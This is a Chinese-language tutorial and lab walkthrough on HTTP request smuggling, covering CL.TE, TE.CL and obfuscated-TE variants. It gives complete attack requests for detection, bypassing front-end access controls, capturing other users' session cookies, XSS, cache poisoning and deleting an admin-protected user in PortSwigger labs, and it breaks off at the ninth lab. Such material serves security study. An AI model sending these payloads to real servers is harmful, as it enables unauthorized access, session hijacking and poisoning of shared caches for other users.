分享技术,是因为热爱。但不痴迷技术,是因为理想更大! 如果你认同,请加入我们,凝聚技术人的力量,去真正影响这个世界!
请注意,在没有明确授权的情况下,不要在互联网中尝试此种攻击,否则属于违法行为!
重要的问题说三遍,
本文内容在真实运行网站中不要测试!不要测试!不要测试!
一般网站扛不住这种攻击,轻易尝试标题就是实打实送你的福利了,中奖率100%。
如标题提示,此文如你看不懂,没问题三连支持即可。如你能掌握,切记不要在真实运行的网站进行测试 。在靶场练习即可。此种方法危害性太大,一般网站扛不住,就算靶场我在练习的时候,也瘫了好几回。
一、基础知识
1. 产生背景
当前端服务器将HTTP请求转发到后端服务器时,它通常会通过相同的后端网络连接发送多个请求,协议非常简单:一个接一个地发送HTTP请求,接收服务器解析HTTP请求头,以确定一个请求在哪里结束,下一个请求在哪里开始:
在这种情况下,前端和后端系统就请求之间的边界达成一致是至关重要的。否则,攻击者可能会发送一个不明确的请求,造成前端系统和后端系统对该请求的解释不同:
2. 什么是HTTP请求夹带
又名HTTP请求走私,是一种干扰网站处理从用户接收HTTP请求序列的方式的技术。该技术可使攻击者绕过安全控制,造成对敏感数据的未授权访问,并直接危害应用程序用户。
攻击者部分前端请求被后端服务器解释为下一个请求的开始。实际上优先于下一个正常请求,因此会干扰应用程序处理正常请求的方式。往往造成毁灭性的后果。
3. 漏洞产生原因
- 标准数据包结束的标头标志
- Content-Length
内容长度报头很简单:它以字节为单位指定消息体的长度。
报文长度数经常出问题,建议使用Burp插件HTTP Request Smuggler自动处理。
最方便的方法是:将报文完整粘贴到Sublime Text文本编辑器
中如果末尾有空行别忘了补充上。选中可直接查看字符数。
win平台: 换行用0d0a,
2
个字节表示
linux和mac: 换行分别用0a和0d,1
个字节表示
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
q=smuggling
- Transfer-Encoding
用于指定数据包正文的分块编码。这意味着消息正文包含一个或多个数据块。每个区块以字节为单位的区块大小(以十六进制表示)、后跟换行符和下一个区块内容组成。该消息以大小为零的块终止。
长度表示与CL有不同,请注意代买括号中文字。
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b (16进制6,代表每一块chunck长11位)
q=smuggling (字符串11字节长,不要加2哈,与CL不同)、
0 (遇0 chunck结束)
- 如果两个标头同时存在一个数据包中
HTTP规范:如果同时存在Content-Length和Transfer-Ending标头,则应忽略Content-Length标头,以防止此问题。
实际后端服务器的情况为:
- 某些服务器不支持请求中的Transfer-Ending标头。
- 如果以某种方式混淆了传输编码标头,则可以使某些支持传输编码标头的服务器不对其进行处理。
如果前端服务器和后端服务器在传输编码标头模糊时的处理方式不同,则会在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。
二、漏洞原理解析
请求走私攻击涉及将Content-length
标头和Transfer-Encoding
标头放入同一个HTTP请求中,并对其进行处理,以便前端服务器和后端服务器以不同的方式处理请求。具体的实现方式取决于两台服务器的行为:
CL.TE:前端服务器使用Content-length
,后端服务器使用Transfer-Encoding
头部。
TE.CL:前端服务器使用Transfer-Encodin
头部,后端服务器使用Content-length
头部。
TE.TE:前端和后端服务器都支持Transfer-Encodin
报头,但可以通过以某种方式混淆报头来诱导其中一个服务器不处理它。
1. CL.TE利用
front-end: Contnt-Length
back-end: Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0 (3字节)
(2字节)
SMUGGLED (8字节,最后2个空字节不加)
前端服务器处理Contnt-Length,长度为13 涵盖了所有bady数据(空行算4个字节)
后端服务器处理Transfer-Encoding,处理第一个块,该块被声明为零长度,因此被视为终止请求。余下的SMUGGLED,后端服务器将遗留字节作为下一个请求的开始
SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
....
例题 1
2. TE.CL利用
front-end: Transfer-Encoding
back-end: Contnt-Length
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3 (CT声明的报文正文长度)
Transfer-Encoding: chunked
8 (声明第一个块8字节长)
SMUGGLED (第一个块内容)
0 (第二个块声明长度为0)
(\r\n空行)
(\r\n空行)
注意点:
- Burp软件中 “Update Content-Length” ,请关闭。
- 在0后要输入
\r\n\r\n
burp中就意味着0后面加两个空行
前端服务器处理TE标头,因此将报文正文视为使用分块编码。它处理第一个数据块,被声明为8字节长,内容为SMUGGLED的。第二个块被声明为0长度,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Long报头,并确定请求正文为3字节长,(正文内容为8\r\n\r\n
共占3字节)。后面的字节SMUGGLED\r\n\r\n0\r\n\r\n
均未被处理,后端服务器将这些字节视为下一个请求的开始。
例题2
3. 混淆TE报头(TE.TE漏洞)
front-end、back-end都支持Transfer-Encoding
,但通过某种方式影响其中一个,使其不处理Transfer-Encoding
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
在实际系统中,很少绝对精确地遵守网络规范,系统通常会容忍与规范不同的变化。要发现TE.TE漏洞。
需要找到Transfer-Ending标头的某些变体,造成只有一台前端或后端服务器处理它,而另一台服务器忽略它。
例题 3
三、 如何识别HTTP夹带漏洞
1. 利用事件延迟技术
要首先验证CL.TE,排除后再验证TE.CL,否则产生其他影响。
1.利用时间延迟发现CL.TE漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4 13
(引起事件延迟的代码) (漏洞利用的代码)
1 0
A
X SMUGGLED
前端服务器使用Content-Length报头,只转发此请求的一部分,省略X。后端服务器使用Transfer-Ending报头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。
2. 利用时间延迟发现TE.CL漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
前端服务器使用Transfer-Encoding标头,因此它将只转发此请求的一部分,省略X。后端服务器使用Content-Length标头,等待其余内容到达。这将导致明显的时间延迟。
2. 利用不同响应确认
当疑似有请求走私漏洞时,可以通过利用该漏洞来触发应用程序响应的内容差异,从而获得该漏洞的进一步证据。这包括快速连续地向应用程序发送两个请求:
- 特定攻击包,干扰下一个请求正常处理(根据CL.TE\TE.CL选用不同)
- 正常请求
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
1. CL.TE
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则后端服务器会将该请求的最后两行视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的URL,因此服务器将使用状态代码404进行响应,表名干扰成功,漏洞存在
例题4
2. TE.CL
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,则从GET/404开始的所有内容都会被后端服务器视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
例题5
三、漏洞利用
1. 利用请求走私绕过前端安全控制
在某些应用程序中,前端Web服务器用于实现一些安全控制,通过验证的单个请求被转发到后端服务器,未通过的被过滤掉。
假设应用程序使用前端服务器来实现访问控制限制,只有在授权用户访问所请求的URL时才转发请求。而后端服务器接受每个请求,无需进一步检查。在这种情况下,可以使用HTTP请求走私漏洞绕过访问控制。
假设允许当前用户访问/home,但不允许访问/admin。他们可以使用以下请求走私攻击绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
例题 6、7
2. 前端服务器对请求包的修改
许多应用程序中,前端服务器在请求转发到后端服务器之前执行一些重写,通常是通过添加额外的请求头。例如:
- 终止TLS连接并添加一些描述协议和密码的报头;
- 添加包含用户IP地址的X-Forwarded-For报头;
- 根据用户的会话令牌确定用户的ID,并添加标识用户的报头;
- 添加一些敏感信息。
如果走私请求缺少这些临时添加的头部,则后端服务器不会以正常方式处理请求,从而导致走私请求无法达到预期效果。
获得经修改的请求,需要执行以下步骤:
- 查找满足要求的POST请求:请求参数值要反映到应用程序响应中。
- 调整参数,使该参数出现在报文BODY的最后。
- 通过请求走私,发送到后端服务器,成功时经前端修改的普通请求会出现在响应中。
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
响应中包括:
<input id="email" value="wiener@normal-user.net" type="text">
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100 (注意这个长度,你不知道有多长,慢慢增加,直到获得所需信息)
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
例题8
3. 绕过客户端授权
作为TLS握手的一部分,服务器提供证书给客户端(通常是浏览器)来验证自身。该证书包含它们的“通用名称”(CN),它应该与它们注册的主机名匹配。然后,客户端可以使用这一点来验证它们是否正在与合法服务器对话。有些站点更进一步,实现了一种相互的TLS身份验证形式。
客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,例如,可以作为访问控制机制的一部分在后端应用程序逻辑中使用。
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
由于这些标头对用户完全隐藏,因此受到后端服务器的默认信任。假设能够发送正确的头和值组合,就能够绕过访问控制。
在实践中,因为前端服务器往往会覆盖这些标头。但是通过请求走私,包含的任何标头都将原封不动地发送到后端。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator (此处即为攻击荷载)
Foo: x
4. 捕获其他用户的请求
这个利用点与上述“2. 前端服务器对请求包的修改”非常类似
如果应用程序允许存储和检索文本数据的相关功能,则可以使用HTTP请求走私来捕获其他用户请求的内容。这些攻击可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。适合用作此攻击工具的功能包括评论、电子邮件、配置文件描述等。
要执行攻击,需要走私一个向存储函数提交数据的请求,其中请求数据的参数位于请求的最后。后端服务器处理的下一个请求将被附加到走私的请求中。
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
得到的结果如下:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
一个限制是,通常只捕获数据,直到适用于走私请求的参数分隔符
&
。对于URL编码的表单提交,这意味着从受害用户的请求存储的内容将在第一个&结束,或可能出现在查询字符串中。
导致获取数据不全,遇到&会自动判定截止。
例题9
5. 请求走私利用反射性XSS
如果应用程序存在HTTP请求走私的攻击漏洞,并且还包含反射的XSS,则可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于正常利用反射的XSS:
- 不需要与受害者用户交互。不需提供URL,等待他们访问。只需走私一个包含XSS有效负载的请求,由后端服务器处理的下一个用户请求将被击中。
- 可以利用请求的某些部分中的XSS行为,这些部分在正常的反射XSS攻击中无法控制,例如HTTP请求头。 (扩大了XSS可以利用点)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
例题10
6. 使用HTTP请求走私将现场重定向转换为开放重定向
许多应用程序执行一个URL到另一个URL的现场重定向,并将请求的主机标头中的主机名放入重定向URL。这方面的一个示例是Apache和IIS Web服务器的默认行为,在这种情况下,对不带尾随斜杠的文件夹的请求会收到到相同文件夹的重定向,附带尾随斜杠:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
如上所示可以构造请求走私攻击荷载
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
造成的结果是
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
用户的请求的页面要导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受攻击用户。
7. 利用HTTP请求走私来执行Web缓存中毒
这是利用6的攻击的一种危害更大的变种
利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础架构的任何部分执行内容缓存(通常出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,从而影响随后请求受影响URL的任何用户。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器,后端服务器像以前一样使用异地重定向进行响应。前端服务器会将第二个URL缓存的有毒缓存进行响应,该URL为/Static/includde.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
例题11
8. 利用HTTP请求走私进行Web缓存欺骗
可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存中毒攻击的工作方式类似,但目的不同。
这个技巧在实际中不太还是用,下面会说明原因
- 在Web缓存中毒中,攻击者使应用程序在缓存中存储一些恶意内容,这些内容
从缓存提供给其他应用程序用户
。 - 在Web缓存欺骗中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后
攻击者从缓存中检索这些内容
。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
下一个用户的请求包被追加到后面。走私数据包与受害用户的正常请求合并在了一起
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。请求中的URL用于用户的私人消息,并且该请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的URL的URL缓存此响应,该URL为/static/some-image.png
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
攻击者访问静态URL,得到缓存返回的敏感内容。
注意:攻击者不知道缓存敏感内容的URL,因为这是受害者用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL才能发现 。
例题12
四、漏洞实例
1. 基本CL.TE漏洞(HTTP request smuggling, basic CL.TE vulnerability)
- 目标
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,不支持chunked encoding
- 解题思路
- 原始数据包
GET / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Cookie: session=odOxTPDSOPiYAj9SNXvvGCA4Trv1KohD
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G
发送两次数据包,看到响应
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
2. 基本TE.CL漏洞 (HTTP request smuggling, basic TE.CL vulnerability)
- 目标
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,
后端服务器不支持chunked encoding
- 解题思路
- 首页原始数据包
GET / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Cookie: session=5vbjnInq85UmYPpM2yxkgEva0s2XOSNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=2
0
tips:
- 为什么要是5c(16进驻,转换为10进制为92) 因为后面从G到x=2末尾看HEX一共是92个字节。
![92.png](https://img-blog.csdnimg.cn/img_convert/acc27280938ce23ea522209c563499c9.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=uf122f171&margin=[object Object]&name=92.png&originHeight=268&originWidth=651&originalType=binary&ratio=1&rotation=0&showTitle=false&size=40874&status=done&style=none&taskId=ucb58d0e4-2bed-4642-b6c2-b8607bfae8b&title=)
- 后一个CL为什么是15,因为从x到最后是15位
![15.png](https://img-blog.csdnimg.cn/img_convert/cbcca233bd50cc4f1217e9422f70c64e.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=u9d7ac890&margin=[object Object]&name=15.png&originHeight=220&originWidth=726&originalType=binary&ratio=1&rotation=0&showTitle=false&size=33046&status=done&style=none&taskId=u469ecb36-68fd-455f-bfca-238e8dcb3b3&title=)
3. 混淆TE报头(HTTP request smuggling, obfuscating the TE header)
- 目标
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,
- 解题思路
- 根据题目信息构造双TE
POST / HTTP/1.1
Host: ac861f6c1f784f10c05d835f00d700bd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4 (正文长度2~4均可,5c此行长度为2)
Transfer-Encoding: chunked
Transfer-Encoding: x (此行经测试只要不是正常chunked均可行)
5c (16进制为92字节,代表后续chunked块大小为92,见附图1)
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 (正文长度为10~20均可,x=1 0最少含一个末尾空行的总长度 )
x=1
0
(注意这是第一个空行)
(注意这是第二个空行)
![92.png](https://img-blog.csdnimg.cn/img_convert/d9f7db91357bd86ffb8eb4d9f653c805.png#clientId=u66d7ad26-6a82-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=ua049e1a2&margin=[object Object]&name=92.png&originHeight=294&originWidth=1132&originalType=binary&ratio=1&rotation=0&showTitle=false&size=86188&status=done&style=none&taskId=uc49cbb28-9307-4cd8-9445-16d7c366299&title=)
4. 通过差异响应确认CL.TE漏洞(HTTP request smuggling, confirming a CL.TE vulnerability via differential responses)
- 目标
使后端服务器,接收到路径为/404
响应
前端服务器不支持chunck
- 解题思路
POST / HTTP/1.1
Host: aced1ff61fbf8835c0db363e00c7009b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
5. 通过差异响应确认TE.CL漏洞(HTTP request smuggling, confirming a TE.CL vulnerability via differential responses)
- 目标
使后端服务器,接收到路径为/404
响应
后端服务器不支持chunck
- 解题思路
POST / HTTP/1.1
Host: ac351f0c1e55b187c00d21ab007c000f.web-security-academy.net
Cookie: session=pdyE4sezAIBOprQKtMYpdJVAhJUbL0ET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
6. 用HTTP请求走私绕过前端安全控制,CL.TE漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability)
- 目标
绕过前端服务器限制,访问/admin
删除用户carlos
前端服务器不支持chunck
- 解题思路
- 这道题开始有点意思了。根据题目提示CL.TE构造常用攻击包
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
- 连续点击发送两回,发现响应包中提示
Admin interface only available to local users
- 调整Host值为localhost,即可访问/admin页面
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
- 页面点击删除carlos按钮,获取链接。会发现别的方式均不成功。
尝试修改攻击包,在body中直接使用删除carlos的连接,一步到位。成功
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
7. 利用HTTP请求走私绕过前端安全控制TE.CL漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability)
- 目标
绕过前端服务器限制,访问/admin
删除用户carlos
后端服务器不支持chunck
- 解题思路
与上题思路完全一致,仅是TE.CL的区别,直接上攻击包
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
6c
POST /admin HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
0
获取删除连接后,直接更换URL
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4 (3也可以)
Transfer-Encoding: chunked
87 (这个长度,可以采用前文介绍的使用sublime text方式,快速准确)
GET /admin/delete?username=carlos HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10 (随意了10-15 只要能包括整个body就行)
x=1
0
8. 利用HTTP请求走私揭示前端请求重写(Exploiting HTTP request smuggling to reveal front-end request rewriting)
- 目标
绕过前端服务器限制,访问/admin
(允许127.0.0.1访问) 删除用户carlos
前端服务器会重写请求包。增加传递的IP地址
- 解题思路
该靶场整个思路比较完整
- 寻找合适的post数据包(参数能在响应中会显出来),search即可
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124 (该值利用Burp自动更新即可)
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
<section class=blog-header>
<h1>0 search results for 'testPOST / HTTP/1.1
X-FwmRJA-Ip: 120.245.96.65
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-'</h1>
<hr>
</section>
发现特殊报头`X-FwmRJA-Ip: 120.245.96.65`
- 增加特殊报头,IP为127.0.0.1
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
- 直接访问删除路径
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
9. 利用HTTP请求走私来捕获其他用户的请求 (Exploiting HTTP request smuggling to capture other users’ requests)
- 目标
窃取其他用户数据包,使用得到的cookies,登陆其账户
前端服务器不支持chunked encoding
- 解题思路
